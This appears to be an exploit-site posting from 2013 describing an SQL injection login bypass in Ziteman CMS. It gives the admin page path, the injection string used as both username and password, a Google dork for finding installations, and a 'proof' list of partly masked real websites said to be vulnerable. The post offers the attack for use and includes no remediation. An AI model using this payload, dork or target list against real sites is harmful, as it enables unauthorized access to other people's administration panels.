Home / exploits

PDF

Ziteman Login Page SQL Injection Bypass

Posted on 11 October 2013

#********************************************************************************
# Exploit Title : Ziteman Login page Bypass Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : http://www.ziteman.dk
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:" Powered by Ziteman CMS"
#
# Date: 2013/10/10
#
--------------------------------------------------------------------
# Exploit : Login page bypass
#
# Location : [Target]/admincss/default.asp
#
# Username :1'or'1'='1
#
# Password :1'or'1'='1
######################
# Proof:
#
# http://www.arxk-jr.dk/admincss/default.asp
#
# http://www.apseXvice.dk/admincss/default.asp
#
# http://www.cjserXXvice.dk/admincss/default.asp
#
# http://www.slibeXXcentral.dk/admincss/default.asp
#
# http://www.vhXm.dk/admincss/default.asp
#
######################
discovered by : ACC3SS
######################

 

TOP